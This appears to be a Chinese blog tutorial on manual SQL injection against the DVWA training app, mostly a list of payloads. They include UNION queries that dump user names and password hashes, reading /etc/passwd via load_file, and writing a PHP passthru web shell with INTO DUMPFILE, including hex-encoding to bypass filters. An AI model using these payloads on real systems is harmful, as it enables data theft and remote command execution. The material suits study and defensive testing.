手工SQL注入

出現原因

服務器程序將用戶輸入的參數作為查詢條件,服務器對參數不嚴格校驗就拼接sql語句。

SELECT * FROM users WHERE user='uname' AND password='pass'
SELECT * FROM users WHERE user='name' AND password='' OR ''=''

漏洞發(fā)現

報錯檢測
' " % ()

布爾檢測
1' and '1'='1 | 1' and '1
1' and '1'='2 | 1' and '0

手工注入流程

1.判斷sql語句查詢了幾個字段

'order by 9--+(--后必須有空格,在url上空格等同于+)

2.聯合查詢

' union select 1,2--+

常用函數

user() -- DB用戶
version() -- DB版本
char() -- ascii轉字符串
database() -- 當前庫
CONCAT_WS() -- 連接字符串,如CONCAT_WS(CHAR(32,58,32),user(),database(),version())
md5() -- 計算md5值
全局函數
@@datadir -- 數據庫路徑
@@hostname -- 主機名
@@VERSION -- DB版本
@@version_compile_os -- 系統(tǒng)版本

Mysql數據結構

information_schema -- 略

聯合查詢

所有庫和所有表
'union select table_name,table_schema from information_schema.tables--+
列出庫和庫里表的數量
'union select table_schema,count(*) FROM information_Schema.tables group by table_schema--+
查指定庫的表
'union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+
查指定表的列
'union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+
查指定列的內容
'union select user,password from dvwa.users--+
'union select null, concat(user,0x3a,password) from users--+

sql注入其他利用方法

讀取文件
'union SELECT null, load_file('/etc/passwd')--+
寫入文件
'union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/ www/a.php" --+

沒有權限寫入www目錄時可以考慮寫入/tmp目錄,然后使用文件包含
可以通過編碼為16進制格式繞過字符限制

' union select null, (0x3c3f706870) INTO DUMPFILE '/tmp/x.php'--+
cat php-revers-shell.php | xxd -ps | tr -d '\n'
保存數據庫
' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/tmp/a.db'--

特殊情況下的sql注入

無權讀取information_schema庫和拒絕union、order by語句

猜列名
' and column is null--+(使用工具進行fuzz)
猜當前表
' and table.user is null--+(有可能找到其他表)
猜其他表
' and (select count(*) from table)>0--+
猜指定表的列
' and users.user is null--+
猜字段內容
' or user='admin'--+
' or user like '%a%'--+

當數據庫可寫

利用insert,update和delete注入獲取數據

盲注

盲注是不能通過直接顯示的途徑來獲取數據庫數據的方法。
分為:
Booleanbase(布爾型)
Timebase(時間型)
Errorbase(錯誤型)

?著作權歸作者所有,轉載或內容合作請聯系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內容

友情鏈接更多精彩內容